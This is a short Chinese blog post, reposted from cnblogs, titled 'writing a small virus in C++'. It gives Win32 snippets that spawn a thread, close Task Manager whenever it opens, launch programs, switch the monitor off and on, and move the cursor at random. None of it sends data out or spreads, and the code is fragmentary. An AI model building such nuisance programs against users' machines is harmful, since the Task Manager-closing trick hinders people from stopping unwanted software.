C++写小型病毒 -_-




  1. 建立线程运行其他可执行文件

2.关闭任务管理器或者其他窗口

3.ShellExecute的用法

4.打开关闭显示器

5.使鼠标乱跑

  1. 建立一个线程 ( CreateThread() )

DWORD WINAPI DestroyWindows(LPVOID)



{



//your code would go here



}



int main()



{



CreateThread(
NULL,0,(LPTHREAD_START_ROUTINE)&DestroyWindows,0,0,NULL);



while(1)



{



Sleep(10);



}



}

  1. 关闭任务管理器或者其他窗口

TaskMgr=FindWindow(NULL,"Windows Task Manager");



if( TaskMgr!=NULL)



{



PostMessage( TaskMgr
,WM_CLOSE,(LPARAM)0,(WPARAM)0);



}

程序发出关闭任务管理器的的消息,并不等待继续执行下面的代码

  1. ShellExcute

char Notepad[MAX_PATH]="notepad.exe";



ShellExecute(
NULL,"open",Notepad,NULL,NULL,SW_MAXIMIZE);

打开记事本。也可以通过以下代码打开google.

char Website[MAX_PATH]="http:\www.google.com

  1. 打开关闭显示器

SendMessage(HWND_BROADCAST,WM_SYSCOMMAND,SC_MONITORPOWER,(LPARAM)2);



Sleep(5000);



SendMessage(HWND_BROADCAST
,WM_SYSCOMMAND,SC_MONITORPOWER,(LPARAM)-1);

  1. 鼠标乱跑

X=rand()%801;



Y
=rand()%601;



SetCursorPos( X
,Y );
版权声明:本文为博主原创文章,未经博主允许不得转载。
原文链接: https://www.cnblogs.com/stark-summer/archive/2011/08/12/4829863.html

欢迎关注

微信关注下方公众号,第一时间获取干货硬货;公众号内回复【pdf】免费获取数百本计算机经典书籍

原创文章受到原创版权保护。转载请注明出处:https://www.ccppcoding.com/archives/30383

非原创文章文中已经注明原地址,如有侵权,联系删除

关注公众号【高性能架构探索】,第一时间获取最新文章

转载文章受原作者版权保护。转载请注明原作者出处!

(0)
上一篇 2023年2月8日 上午7:44
下一篇 2023年2月8日 上午7:44

相关推荐